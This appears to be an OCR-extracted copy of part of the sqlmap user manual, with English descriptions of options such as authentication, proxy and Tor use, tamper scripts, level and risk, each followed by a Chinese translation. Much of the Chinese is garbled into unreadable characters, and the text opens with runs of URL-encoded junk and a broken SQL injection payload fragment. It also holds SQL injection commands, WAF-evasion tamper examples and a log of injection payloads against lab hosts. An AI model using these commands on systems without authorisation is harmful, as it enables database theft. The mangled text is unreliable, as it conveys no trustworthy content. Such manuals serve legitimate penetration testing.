%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\

%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\

%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\

%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2 0%\



http://192.168.21.128/sqlmap/mysql/get_int.php?id=1
file:///C:/Users/ccccccc/AppData/Local/Temp/www.target.com

%207%20%20%20%20%20%20%20%20%20% %29%20THEN%201%20ELSE%200%20END2%25%29%2C\

%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA . CHARA\

CTER_SETS%20GROUP%20BY%20x%2%a%
HTTP/
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=
User-agent: Firefox

Connection: close

HTTP protocol authentication

Options: --auth-type and --auth-cred

These options can be used to specify which HTTP protocol
authentication back-end web server implements and the valid
credentials to be used to perform all HTTP requests to the
target application.

=>

XA IE A SR $8 EHTTP flweb ik 55 28 2 (B RN IE B DL KR AE T A HTTP G =R
T A RCHAE

The three supported HTTP protocol authentication mechanisms
are:
=>

= A HTTP B BT B 43 DA IE 7 1) 72

Digest
NTLM
While the credentials’ syntax is username:password. => {#FHi&

A=
V£ username:password

Example of valid syntax:



$ python sqlmap.py -u
"http://192.168.136.131/sqglmap/mysqgl/basic/get int.php?id=1"

auth-type Basic --auth-cred "testuser:testpass”
HTTP protocol private key authentication => HTTPIM X FAEH & 43N iE

Option: --auth-file

This option should be used in cases when the web server
requires proper client-side certificate and a private key for
authentication. Supplied value should be a PEM formatted

key file that contains your certificate and a private key.

=>

XA LT AEweb I 55 %5 16 3K 25 7 I B AL 9 FH AR B 43 DAE (9 I i B >R . 32
BEHIAE B Z 8 — A0 A S 6 AR BL K RL B B PEMAS 2K i SC A

Ignore HTTP error 401 (Unauthorized) => ZHEEHTTP4014%5 1R (RITA)

Switch --ignore-401

In case that you want to test the site that occasionally
returns HTTP error 401 (Unauthorized), while you want to ignore
it and continue tests without providing proper credentials, you
can use switch --ignore-401

=

A A E AR I K 0 3 ) B A% i 23 3R [FIHT TP I 401 45 % 24 4R ) 20 i 3X AN 4 3% 9F B
PR A R G & B R T k22 K AR AT BUAE A OX A ik

HTTP(S) proxy HTTPAY

Options and switch: --proxy, --proxy-cred, --proxy-file and --
ignore-proxy

It is possible to provide an HTTP(S) proxy address to pass by
the HTTP(S) requests to the target URL with option --proxy. The
syntax of HTTP(S) proxy value is http://url:port.

=>

FEHESRURLI IS A R AT DOE R ] --proxyfUBE SREEEHTTPIB R L2

http://url:port


http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1

If the HTTP(S) proxy requires authentication, you can provide
the credentials in the format username:password to the option -
-proxy-cred.

=

A0 SRHTTPAREE 75 ZAE A 30 UE /R AT A W Bl --proxy-creaif it LA

username :passwordﬁ@%ﬁ%*%1ﬁi£%

In case that you want to use (disposable) proxy list, skipping
to the next proxy on any sign of a connection problem (e.g.
blocking of invasive IP address), option --proxy-file can be
used by providing filename of a file containing bulk list of
proxies.

=

an SR AR AR ACER 4 B b R E A I BB B ik R ik (B an FHIEIPA
) HET —DHHEO BAEH--proxy-£ile REB A KE KA

Switch --ignore-proxy should be used when you want to run
sqlmap against a target part of a local area network by
ignoring the system-wide set HTTP(S) proxy server setting.

=>

AR AR H IR B B 4T sqlmap HEAT MG B IS /R AT BAH] --ignore-proxyk 2
W2 G558 IHT TP i 45 X 2

Tor anonymity network => Torl&E 4 W%

Switches and options: --tor, --tor-port, --tor-type and --check-
tor

If, for any reason, you need to stay anonymous, instead of
passing by a single predefined HTTP(S) proxy server, you can
configure a Tor client together with Privoxy (or similar) on
your machine as explained in Tor installation guides. Then you
can use a switch --tor and sqlmap will try to automatically set
Tor proxy connection settings.

=>



ANEEFAA2EE mRRFEEREE S BT — Ak g mHTTPAR
M55 48 2 4 AR DAAE/R I FEL R EoB IS B Tor M 2 2S48 51 R % Tor % P i R
JaREt ] PLEEsqlmap  H --cor R FHACHE

In case that you want to manually set the type and port of used
Tor proxy, you can do it with options --tor-type and --tor-port
(e.g. --tor-type=SOCKS5 --tor-port 9050).

=>

IR AR AR TR B E Tor AAB A BRI SR DA St 5 AR 7] DA P 3K 28 328 T

You are strongly advised to use --check-tor occasionally to be
sure that everything was set up properly. There are cases when
Tor bundles (e.g. Vidalia) come misconfigured (or reset
previously set configuration) giving you a false sense of
anonymity. Using this switch sglmap will check that everything
works as expected by sending a single request to an official

Are you using Tor? page before any target requests. In case

that check fails, sqlmap will warn you and abruptly exit.
=>

58 2R WU R - - check-tor RN B B 2R IEH AR % Tort (1
Vidalia) XECEM RILRE R CAE 4 | HX A ETisqlmap e /£ % H b5
ZHTEE PARGE A B IS RR K A Tor 2 B TAEIEH R i & A A @l
sqlmap = 2 & 4K IF H 5% il 1B H

Delay between each HTTP request => HTTPiH R Z A i1 A\ ZE iR

Option: --delay

It is possible to specify a number of seconds to hold between
each HTTP(S) request. The valid value is a float, for instance
0.5 means half a second. By default, no delay is set.

==

RN LLAE SR RHTTP R 2 M B AP 3 (7T AR A5 0 SRR A BLH N
T REAH LR

Seconds to wait before timeout connection => ZEZEHBI NN Z£&H5EMD

I Option: --timeout


https://check.torproject.org/

It is possible to specify a number of seconds to wait before
considering the HTTP(S) request timed out. The valid value is a
float, for instance 10.5 means ten seconds and a half. By
default 30 seconds are set.

=>

A T L DAL 0 4 2 00 oK 8 2 M 0 KAt U A
Blinte. 52+ 5ot BRINREMZ308)

Maximum number of retries when the HTTP connection timeouts => HTTP

2 I B AR K B B R

Option: --retries

It is possible to specify the maximum number of retries when
the HTTP(S) connection timeouts. By default it retries up to
three times.

=>

RAT LLFE B — N e K B0 P T 7EHT TP B2 i) (1 i 1t e K I B B 2 R
NI 39K

Randomly change value for given parameter(s) => N THAHKTE FEH.K
2T W 1E

Option: --randomize

It is possible to specify parameter names whose values you want
to be randomly changed during each request. Length and type are
being kept according to provided original values.

Sp

YRR LA 5 AR B Lk A B0 R 7E B ORTE SR I s AT R BABE AL 202 K BA R R R #
AT 4 B AE R $F — 2

Filtering targets from provided proxy log using regular expression

=> f f} IE W R A XA R HE B S ik B AR

Option: --scope
Rather than using all hosts parsed from provided logs with
option -1, you can specify valid Python regular expression to

be used for filtering desired ones.



=>
R TR ET - 1 fE TRt H B & a £ AL /R0 LA Py thon ) 1E NI 3%
18 3Kk I 3% R AR L AR — A

Example of valid syntax:

$ python sqglmap.py -1 burp.log --scope="(www)?.target.

(com|net|org)"”

Avoid your session to be destroyed after too many unsuccessful

mw%m=>ﬁ%%%%ﬁﬁﬁﬁ§m%%wﬁﬁmﬁﬁ

Options: --safe-url, --safe-post, --safe-req and --safe-fregq
Sometimes web applications or inspection technology in between
destroys the session if a certain number of unsuccessful
requests is performed. This might occur during the detection
phase of sqlmap or when it exploits any of the blind SQL
injection types. Reason why is that the SQL payload does not
necessarily returns output and might therefore raise a signal
to either the application session management or the inspection
technology.

=5

A2 B RMOE K web N BUE KM AR & EE IR XaER
M 2L ] sqlmap B B vEB R I HI IS R 18 B A B R R R SQL payload®
A% (1] A H DR O A S P R 4 O B B 0T % 5 R BT Ak B

To bypass this limitation set by the target, you can provide
any (or combination of) option:

=

N T G A AR B IX Rl R A AR RT DL B B A s BA B 3 T
--safe-url: URL address to visit frequently during testing. =>
I B 22 5 IR B U 13 URL

--safe-post: HTTP POST data to send to a given safe URL
address. => KRIX N4 L2URLIIHTTP POST##E

--safe-req: Load and use safe HTTP request from a file. => M

A A S B A HHTTPIG 3R



--safe-freq: Test requests between two visits to a given safe
location. => WIRIERZESG T —NLEREN

This way, sqlmap will visit every a predefined number of
requests a certain safe URL without performing any kind of
injection against it.

=>

X sqlmapilt < BB 48 H T E XK & 22 A URL 138 3K 1 A 2 3% N K I0
Turn off URL encoding of parameter values3k 25 = {H HFURLYR G

Switch: --skip-urlencode

Depending on parameter placement (e.g. GET) its value could be
URL encoded by default. In some cases, back-end web servers do
not follow RFC standards and require values to be send in their
raw non-encoded form. Use --skip-urlencode in those kind of
cases.

=>

WA AR B AE A A R T 2 0 B A AATTREATURL S 5 JE B IR web IR 55 &% )i I A
SAEMRFCARAE H /R Z R IE R A g 0 1 MH X A I i /R mft AT BAAE A XA

### SEid R UG IE R ORI

Options: --csrf-token and --csrf-url

Lots of sites incorporate anti-CSRF protection in form of
tokens, hidden field values that are randomly set during each
page response. sqglmap will automatically try to recognize and
bypass that kind of protection, but there are options --csrf-
token and --csrf-url that can be used to further fine tune it.
Option --csrf-token can be used to set the name of the hidden
value that contains the randomized token. This is useful in
cases when web sites use non-standard names for such fields.
Option --csrf-url can be used for retrieval of the token value
from arbitrary URL address. This is useful if the vulnerable
target URL doesn’t contain the necessary token value in the
first place, but it is required to extract it from some other

location.


af://n1378

=>

R E Pk A2 7 S il TE SR AR AP s AR R — DU B A BE AL E — N
H ERE R FBE sqlmaps H 3R I &k X Fh R4 (B2 ARAT LA
I --csrf-token BAK --csrf-url RIMEHF —PHIRE ET--csrf-
token AEHIEE CA W FETRIH HBENLR FHBME XX A8 Wb 458 =JE b v 1) 48
ERFBAEMMAERREHMN & --csrr-ur1fe F/EMBEHLAIURL HhE 46
FZE XA Z2ITANRBAEESBICRHME AR (2R 52N A
b 77 2 47 b X

Force usage of SSL/HTTPS3R#I{£ FHSSL/HTTPS

Switch: --force-ssl

In case that user wants to force usage of SSL/HTTPS requests
toward the target, he can use this switch. This can be useful
in cases when urls are being collected by using option --crawl
or when Burp log is being provided with option -1.

=>

B PR EGE H ss 180 httpsif KRB R H AR IS i 7T RAE XA 24 H ik
T - - crawl X W 00 3E 47 TR HR B & $& it 7 Burp H & BB 5 X AN 1% BT 2 1R A H AL

Evaluate custom python code during each request => &KIFERI X B E X
HIpy thon A% 3 17 VF 1

Option: --eval

In case that user wants to change (or add new) parameter
values, most probably because of some known dependency, he can
provide to sqlmap a custom python code with option --eval that
will be evaluated just before each request.

=>

TR R T e E R AR B At T LS S I TR - - e va 1 SR AE B IR TR
R Z T AR B 1 AR B E

For example:

$ python sqlmap.py -u "http://www.target.com/vuln.php?

id=1&hash=c4ca4238a0b923820dccb509a6f75849b" --eval="import
hashlib;hash=hashlib.md5(id).hexdigest()"”



http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b

Each request of such run will re-evaluate value of GET
parameter hash to contain a fresh MD5 hash digest for current

value of parameter id.

>

FRIGRZ TSN getZB Enash il 4E ididEi7md5 (1) #
#4#4 MHECE

These switches can be used to optimize the performance of sqglmap. =>
sqlmap I HC &
Bundle optimization R K4k

Switch: -o

This switch is an alias that implicitly sets the following
options and switches:

=>

BT XS HOEA I = AR el I

--keep-alive

--null-connection

--threads=3

if not set to a higher value. => WREHREFE NS LMNEE v LA
H--ofRE

Read below for details about each switch. => VEHMIKIZSEE N IH MR
Output prediction

Switch: --predict-output

This switch is used in inference algorithm for sequential
statistical prediction of characters of value being retrieved.
Statistical table with the most promising character values is
being built based on items given in txt/common-outputs.txt
combined with the knowledge of current enumeration used. In
case that the value can be found among the common output
values, as the process progresses, subsequent character tables
are being narrowed more and more. If used in combination with
retrieval of common DBMS entities, as with system table names

and privileges, speed up is significant. Of course, you can
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edit the common outputs file according to your needs if, for
instance, you notice common patterns in database table names or
similar.

=5

XA 18 T AE P A 18 SR R 2 W B T AT AR RE AT T S, Ron] RS BLAE
ZGHETHFEFECELWEANET txt/common-outputs.txt™ I HEE YR
MR RIER, WREEESORIED W E 5 AE 5 I %t E P g3k
B JREER TR E MR, IRAEBRB ARG RS . BRI XAk
RBCH WL HIDBMS SE] AU IR M A, A AR BE W AR IR R B0 N 7 R
AR B B w0 ECE A L AR

Note that this switch is not compatible with --threads switch.
=> FEERXNETMN--threadsiEW I IHE

HTTP Keep-Alive

Switch: --keep-alive

This switch instructs sqlmap to use persistent HTTP(s)
connections. => XA EIE B NI E KHTTP(S) E#

Note that this switch is incompatible with --proxy switch. => V&
BOXANIETUM - -proxyik WG A

HTTP NULL connection

Switch: --null-connection

There are special HTTP request types which can be used to
retrieve HTTP response's size without getting the HTTP body.
This knowledge can be used in blind injection technique to
distinguish True from False responses. When this switch is
provided, sqlmap will try to test and exploit two different
NULL connection techniques: Range and HEAD. If any of these is
supported by the target web server, speed up will come from the
obvious saving of used bandwidth.

=>



A — SRR IHTTPIE SR AEAS I SKEXHTTP body A HiZREXBIHTTP WA M. K /N,
XA FE B VE IR K X 23 True or False X ANETAIM % sqlmapss
%iﬁ#%%mngeiﬁmmnﬁﬂ*ﬁzajﬁ IR AfEweb IR %5 %8 EIF R T EiRAFAT—
TR 2 4 38 I Y AR R e e B R ) B v O

These techniques are detailed in the white paper Bursting
Performances in Blind SQL Injection - Take 2 (Bandwidth)
=>

TR 1 B A BE %
http://www.wisec.it/sectou.php?id=472f952d79293

Note that this switch is incompatible with switch --text-only.
=> FEXNETM--text-only A IRE

Concurrent HTTP(S) requests

Option: --threads

It is possible to specify the maximum number of concurrent
HTTP(S) requests that sglmap is allowed to do. This feature
relies on multi-threading concept and inherits both its pro and
its cons.

=>

PR ] PA$E 7€ sqlmapiz AT I i i 3K 1 S KHTTP () 16 K%, X AFr iR ¥
multithreading=R#tiT% 5 M (it 2 A thread+Queue? ? 7 )

This features applies to the brute-force switches and when the
data fetching is done through any of the blind SQL injection
techniques. For the latter case, sqlmap first calculates the
length of the query output in a single thread, then starts the
multi-threading. Each thread is assigned to retrieve one
character of the query output. The thread ends when that
character is retrieved - it takes up to 7 HTTP(S) requests with
the bisection algorithm implemented in sglmap.

=>

33 AN AT L 7E R L % SRR OB R B B, /TR % sqlmap &7 M4
RGO E R KE R R 2 2&ERK, SRR T 3R
BOE SRR E e Zefemt = Wit ik BEIRE 7 MHTTP(s) 1 3K


http://www.wisec.it/sectou.php?id=472f952d79293

The maximum number of concurrent requests is set to 10 for
performance and site reliability reasons.
=>

e FEREE B KL REL 10

Note that this option is not compatible with switch --predict-
output.
=5

HE ABEFEF A --predict-output [ K

#4 TEASH

These options can be used to specify which parameters to test
for, provide custom injection payloads and optional tampering
scripts.

=>

EAThRE Tl e =8 #2483 2 X 1iE Apayload UL M tamper A

w44 T IK S 8

Options: -p, --skip and --param-exclude

By default sqlmap tests all GET parameters and POST parameters.
When the value of --level is >= 2 it tests also HTTP Cookie
header values. When this value is >= 3 it tests also HTTP User-
Agent and HTTP Referer header value for SQL injections. It is
however possible to manually specify a comma-separated list of
parameter(s) that you want sqlmap to test. This will bypass the
dependence on value of --level too.

=>

RANTEIL T salmap= MG HIGET Ll POST Z4 , H--leveli® KA
KT&ET20 aZllikcookiefll, H--level RMEMIME R T T3 L
HTTPUser—Agent{ﬁM&HTTPReferer%Eﬁl{E, PR e L FFhfe g — PN LLiE S
SRR SN ListRIFTNE XS Rt level K1E

For instance, to test for GET parameter id and for HTTP User-
Agent only, provide -p ";id,user-agent";

=>


af://n1524
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Bl anan AR H AN AKGETS Eiabh KHTTPUser-Agent S #H -p

";id,user-agent";

In case that user wants to exclude certain parameters from
testing, he can use option --skip. That is especially useful in
cases when you want to use higher value for --level and test
all available parameters excluding some of HTTP headers
normally being tested.

For instance, to skip testing for HTTP header User-Agent and
HTTP header Referer at --level=5, provide --skip=";user-
agent,referer";.

=>

an S AR AR HEBR EB 0 AN S8 (FIAIHTTP R X LS ) R AT BL-- skipik I
XAEleve LEAR i i LA KN Gl B A A 4E B 2 B 2 B A5 5 A H

Bltn level N5kt BEEHTTPkH Huser-agent bl KRefererskif f# FH--

skip=";user-agent, refer";

There is also a possibility to exclude certain parameters from
testing based on a regular expression run on their names. In
those kind of cases user can use option --param-exclude.

For instance, to skip testing for parameters which contain

string token or session in their names, provide --param-

exclude=";token|session";.

=>

[ A R AT BLIE I 1 ) 208 FOOR R BR AN 1 2 B XA X B A 3 T - -param-
exclude

FHkid & token Pl KsessionH IS FHUl--param-
exclude=";token|session";

URI injection point => URIFHIEAN &

There are special cases when injection point is within the URI
itself. sqlmap does not perform any automatic test against URI
paths, unless manually pointed to. You have to specify these

injection points in the command line by appending an asterisk

(*) (Note: Havij style $INJECT HERES is also supported) after



An

each URI point that you want sglmap to test for and exploit a
SQL injection.

=>

ARG O RVEN RUTEURT H B LT sqlmap A <2 X URT 26 A% AT AT B 2 il ik
RAERFEItEE, REEAMAITHELTRIEEFEANA (SINJECT HERESIX
gt I m] BL)

This is particularly useful when, for instance, Apache web
server’'s mod_rewrite module is in use or other similar
technologies.

=>

B, *4Apache webllR%% 52 Mimod_rewrite fHe IF 16 i FF 5% fih 2K ol 0 £ A
B, T R A £

example of valid command line would be:

$ python sglmap.py -u

"http://targeturl/paraml/valuel*/param2/value2/"

EA R AT IR KRR S U E AT A
Arbitrary injection point => EEREANR

Similar to URI injection point, asterisk (*) (Note: Havij style
SINJECT HERE% is also supported) can also be used to point to
the arbitrary injection point inside GET, POST or HTTP headers.
Injection point can be specified by marking it inside the GET
parameter value(s) provided with option -u, POST parameter
value(s) provided with option --data, HTTP header value(s)
provided with options -H, --headers, --user-agent, --referer
and/or --cookie, or at generic place inside HTTP request loaded
from file with option -r.

=>

HURIFEANZER FHE S *(s1noecT HEREFEFEA] LAF FH) AT LAZE/E B HIGET
POSTEREHTTP L il AVEAN A, M -ulIIH R AT LAEGETS H i HR EEA =,
--datafg EPOSTSE T MIEAN A, -H --headers --user-agent --referer
--cookie#B & T LAFEHT TP Sk o 0o Bl 75 48 A VE N /U, B 2 A8 SO/ v 3 B
& HE SR FIHTTPIE R


http://targeturl/param1/value1

An example of valid command line would be:

$ python sqlmap.py -u "http://targeturl” --

cookie="paraml=valuelx;param2=value2”

HEH4 SRR B ERE

Option: --dbms

By default sglmap automatically detects the web application's
back-end database management system. sqlmap fully supports the
following database management systems:

=>

BN L T salmap< B 3k Wweb N2 A J5 i i £0HE B2 sqlmap SCRFRC IR 41 1)
Ko e

MySQL

Oracle

PostgreSQL

Microsoft SQL Server

Microsoft Access

IBM DB2

SQLite

Firebird

Sybase

SAP MaxDB

HSQLDB

Informix

If for any reason sglmap fails to detect the back-end DBMS once
a SQL injection has been identified or if you want to avoid an
active fingeprint, you can provide the name of the back-end
DBMS yourself (e.g. postgresgl). For MySQL and Microsoft SQL
Server provide them respectively in the form MysSQL <;version>;
and Microsoft SQL Server <;version>;, where <;version>; is a
valid version for the DBMS; for instance 5.0 for MySQL and 2005
for Microsoft SQL Server.

=>


http://targeturl/
af://n1609

1 R R O 3 b ] 3 B A TR N SUE S sqlmap TG VA AT W B B8 ) 2R T B 2
PR A8 O B = B B ER 00 A E R AR AR AT B E Bh iR AR EE I 4 7
(postgresql) XfFMySQLLLA Microsoft SQL ServerfRKu] PLHE L2 LIX B¢
BT MySOL <;version>; B{FH Microsoft SQL Server <;version>;

<;version>; &DBMSH MMM A% WIMySQLHIS.0 B MsSQLHI2005

In case you provide --fingerprint together with --dbms, sqlmap
will only perform the extensive fingerprint for the specified
database management system only, read below for further
details.

Note that this option is not mandatory and it is strongly
recommended to use it only if you are absolutely sure about the
back-end database management system. If you do not know it, let
sqlmap automatically fingerprint it for you.

=5

MARARF B $E -~ fingerprint --dbms sqlmap MR IRE K dbms K = %t
IVANEERA'S

R IR A LT o ) B RRAEAR T 2 B 2 A 2 XA B A R
AT RARASFE B3 8 2 FE AR ik sqlmap B AR #E 4T 6 %

#sd BB BEEEHERARERALN

Option: --os

By default sqlmap automatically detects the web application’s
back-end database management system underlying operating system
when this information is a dependence of any other provided
switch or option. At the moment the fully supported operating

systems are:

=>

EIANE LT, sqlmapss B 3K Mlweb B ] J= #4082 fi 76 1 #84F R 48, H Al 5%
EXRHRGEWT

Linux

Windows

It is possible to force the operating system name if you

already know it so that sqlmap will avoid doing it itself.
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=>
TEARHR E B bR E R S I nl DLk il 58 @ B /E R 4%, X AFfsqlmapit & Bkid iR
MEAE R G XA TR

Note that this option is not mandatory and it is strongly
recommended to use it only if you are absolutely sure about the
back-end database management system underlying operating
system. If you do not know it, let sqlmap automatically
identify it for you.

=5

A2 80U AR S AR R SRR B R AR, R, R
sqlmap H 3R 7l .

He4# GRH AR K E T ORME KK

Switch: --invalid-bignum

In cases when sqlmap needs to invalidate original parameter
value (e.g. id=13) it uses classical negation (e.g. id=-13).
With this switch it is possible to force the usage of large
integer values to fulfill the same goal (e.g. i1id=99999999).

=>

ALEN Tsaglmap R LAH IR S HE 2 R A X AL SEAN—
=k NE 3 CIE]

#e#s cRHIMEAHEZHBIERMEMERK

Switch: --invalid-logical

In cases when sqlmap needs to invalidate original parameter
value (e.g. id=13) it uses classical negation (e.g. id=-13).
With this switch it is possible to force the usage of boolean
operations to fulfill the same goal (e.g. id=13 AND 18=19).
=>

A EE Olsqlmap 5 2 JE 2 Aol s 7 s A8 A X A LB T0R] DGR A /R B i 2 Bl
#### 95 68 BE AL 7 AT BB OR B E R

Switch: --invalid-string


af://n1690
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In cases when sqlmap needs to invalidate original parameter

value (e.g. id=13) it uses classical negation (e.g. id=-13).
With this switch it is possible to force the usage of random
strings to fulfill the same goal (e.g. id=akewmc).

=>

25 2 JU{E 52 B BB ML 7 75 &
#i## X A R B B

Switch: --no-cast

When retrieving results, sglmap uses a mechanism where all
entries are being casted to string type and replaced with a
whitespace character in case of NULL values. That is being made
to prevent any erroneous states (e.g. concatenation of NULL
values with string values) and to easy the data retrieval
process itself. Nevertheless, there are reported cases (e.g.
older versions of MySQL DBMS) where this mechanism needed to be
turned-off (using this switch) because of problems with data
retrieval itself (e.g. None values are returned back).

=>

sqlmap 2 7 3R R HBUEOHE i I SE AT B 5% 4 Oy s tring SR B 72 Y BlnuLL
EHR R EHRONTH . IR 7R m I — S H R iR f oo
BRI — AR MR T IR R R . SR R 75 A2 48 IH i
A HIMy SQLH I 2 SR A X S B 0 [BR] Dy 78 35 BB 40 1) I ik 2 HH B — 2 )
A Bl (vone FH IR B4 RS54

44 X TR B UL

Switch: --no-escape

In cases when sqlmap needs to use (single-quote delimited)
string values inside payloads (e.g. SELECT ';foobar';), those
values are automatically being escaped (e.g. SELECT

CHAR (102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)).
That is being done because of two things: obfuscation of
payload content and preventing potential problems with query

escaping mechanisms (e.g. magic quotes and/or
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mysgl real escape string) at the back-end server. User can use

this switch to turn it off (e.g. to reduce payload size).

=>
HEE M Fsqlmapis B Xfpayload BH A FA 5| 5 TG R E AT 4, B
SELECT ';foobar'; --> SELECT

CHAR (102) +CHAR(111)+CHAR(111)+CHAR (98) +CHAR (97) +CHAR (114), X
i 2 R N k8 5 & HP B RS I AL @Jﬁﬂmagiciquotesﬁﬁ

mysql real escape string X ANIET KK HsqlmapXfpayload ¥
.

#H#4 € HIENE R

Options: --prefix and --suffix => payload™d R U\l 4% 8k & J5 &

In some circumstances the vulnerable parameter is exploitable
only if the user provides a specific suffix to be appended to
the injection payload. Another scenario where these options
come handy presents itself when the user already knows that
query syntax and want to detect and exploit the SQL injection
by directly providing a injection payload prefix and suffix.
=>

HEREF LTS H T L Mpayload AFEH 7 Fahdsn 7 HEM G KW E T
AREMIIEN, FA—FAEH XA TN BE RN AGHCLME T EEX
M) sqlif a2 B R X HE il LA E 32 ftpayload T /G A HI 41 B JA 44

Example of vulnerable source code:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "")
LIMIT @, 1"

To detect and exploit this SQL injection, you can either let
sglmap detect the boundaries (as in combination of SQL payload
prefix and suffix) for you during the detection phase, or

provide them on your own.

For example:


af://n1740

$ python sqlmap.py -u
"http://192.168.136.131/sqglmap/mysqgl/get str brackets.php ?

id=1" -p id --prefix "')" --suffix "AND ('abc'='abc”

This will result in all sqglmap requests to end up in a query as
follows: => SEREMIEAIUIT .

$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc')
LIMIT o, 1";

Which makes the query syntactically correct. => IXFE{# 15 A )18 A 1E B $h
7
In this simple example, sqglmap could detect the SQL injection
and exploit it without need to provide custom boundaries, but
sometimes in real world application it is necessary to provide
it when the injection point is within nested JOIN queries for
instance.
=>
73 ML) T o sqlmap e B B P 45 O L 1 R, (LR 7 A 2 1
BRSNS, o 0T B IR

#### ¥ tamperiE A

Option: --tamper

sglmap itself does no obfuscation of the payload sent, except
for strings between single quotes replaced by their CHAR() -
alike representation.

=

sqlmap B 5 A28 HA B AT IRE, BR T #1515 2 Hicaar () B HAMA
.

This option can be very useful and powerful in situations where
there is a weak input validation mechanism between you and the
back-end database management system. This mechanism usually is
a self-developed input validation routine called by the
application source code, an expensive enterprise-grade IPS

appliance or a web application firewall (WAF). All buzzwords to


http://192.168.136.131/sqlmap/mysql/get_str_brackets.php
af://n1779

define the same concept, implemented in a different way and
costing lots of money, usually.
=>>

RANZHEZAFEAHN, HREXANSHAUSE KEMIPS, WAFSE i &

To take advantage of this option, provide sglmap with a comma-
separated list of tamper scripts and this will process the
payload and return it transformed. You can define your own
tamper scripts, use sqlmap ones from the tamper/ folder or edit
them as long as you concatenate them comma-separated as value
of the option --tamper (e.g. --tamper=";between, randomcase";).
=5

sqlmap B ] PLA X A 38 TR 38 AT % Fil A R X pay Load B 4T 25 5% #F 1) 250
(DA TR, SEIT), BRFETUHECE WA A A & /£
tamper/H3X T .

The format of a valid tamper script is as follows: => %5 A 4% 2 4
F e

from 1ib. . import PRIORITY

__priority = PRIORITY.

def tamper(payload):

Description of your tamper script

retVal = payload

return retVal

You can check valid and usable tamper scripts in the tamper/

directory.



=>

tamper/ H 3% N A & § X & b A 1 B A

Example against a MySQL target assuming that >; character,
spaces and capital SELECT string are banned:

=>

XA B XMy SQLEHE FE > Ak B DA K sELECT R AR IR BB B T i
AT gt

$ python sqlmap.py -u
"http://192.168.136.131/sglmap/mysgl/get int.php?id=1" --tamper

tamper/between.py, tamper/randomcase.py, tamper/space2comment.py

-v 3


http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

HilH [DEBUG] cleaning up configuration parameters
tmm: [INFO] loading tamper script 'between’
HilH [INFO] loading tamper script ‘randomcase’

tmm: [INFO] loading tamper script ‘space2comment’

tmm: [INFO] testing 'AND boolean-based blind - WHERE or HAVING

imm: [PAYLOAD] 1)/**/And/**/ = /¥*/And/**/(

tmm: [PAYLOAD] 1)/**/AND/**/ = /** /AND/** / (

imm: [PAYLOAD] 1/**/AnD/**/950=

HilH [INFO] testing 'MySQL >= 5.8 AND error-based - WHERE or HAVING clause

[hh:mm:©4] [PAYLOAD] 1/**/anD/**/(SELeCt/**/ /**/FROm(SELeCt/**/counT(*), CONC

AT(cHar (58, , , »58), (SELeCt/**/(case/** /WhEN/**/( )/**/THeN/**/1/

**/elsE/**/0/**/ENd) ), cHar(58, R 5 558),FLOOR(RanD(©)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:©4] [INFO] GET parameter 'id' is "MySQL >= 5.8 AND error-based - WHERE or

HAVING clause' injectable

[...1

#44 RIHE

These options can be used to customize the detection phase.

] DL AE B g SR B B

Level

Option:
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This option requires an argument which specifies the level of
tests to perform. There are five levels. The default value is 1
where limited number of tests (requests) are performed. Vice
versa, level 5 will test verbosely for a much larger number of
payloads and boundaries (as in pair of SQL payload prefix and
suffix). The payloads used by sqglmap are specified in the
textual file xml/payloads.xml. Following the instructions on
top of the file, if sqlmap misses an injection, you should be
able to add your own payload(s) to test for too!

=>

i FI XA LR T E R e —ME X MMEREEASD, BOAKZT 1HFAL T
SIRFHIE R HE M £SO T 2 K E Kpayload (B & & iy /iy
BEEEHR) , M &Mpayload#ffF A Exml /payloads.xm1 T,
payloads.xml AR TAZEEHNAR WMRZE T B R GERE C 44
ET.

Not only this option affects which payload sqglmap tries, but
also which injection points are taken in exam: GET and POST
parameters are always tested, HTTP Cookie header values are
tested from level 2 and HTTP User-Agent/Referer headers’' value
is tested from level 3.

All in all, the harder it is to detect a SQL injection, the
higher the --level must be set.

It is strongly recommended to higher this value before
reporting to the mailing list that sglmap is not able to detect
a certain injection point.

=>

- leve X AMETIA R &M sqlnapfi 2%k (payload &M VEN M H #
M, GETAIPoSTZHMERERNEL D (1-5) WMEFATIR 2K F 2000 &3¢
HTTP CookieifTIik KTF3RIMEXIUser-Agent/Refererk 347K, &
SR SRS A AT BRI BNEA R, AR SR W
B Ty BRI K

Risk

I Option: --risk



This option requires an argument which specifies the risk of
tests to perform. There are three risk values. The default
value is 1 which is innocuous for the majority of SQL injection
points. Risk value 2 adds to the default level the tests for
heavy query time-based SQL injections and value 3 adds also OR-
based SQL injection tests.

=>

A B IR - level —HHEMBFHE AFLEREIAME , 1 Aot
ENRAMRRKK A, A2 AR BN KSR HE T E#payload, {3
2 ForFEM K payload.

In some instances, like a SQL injection in an UPDATE statement,
injecting an OR-based payload can lead to an update of all the
entries of the table, which is certainly not what the attacker
wants. For this reason and others this option has been
introduced: the user has control over which payloads get
tested, the user can arbitrarily choose to use also potentially
dangerous ones. As per the previous option, the payloads used
by sqlmap are specified in the textual file xml/payloads.xml
and you are free to edit and add your owns.

=>

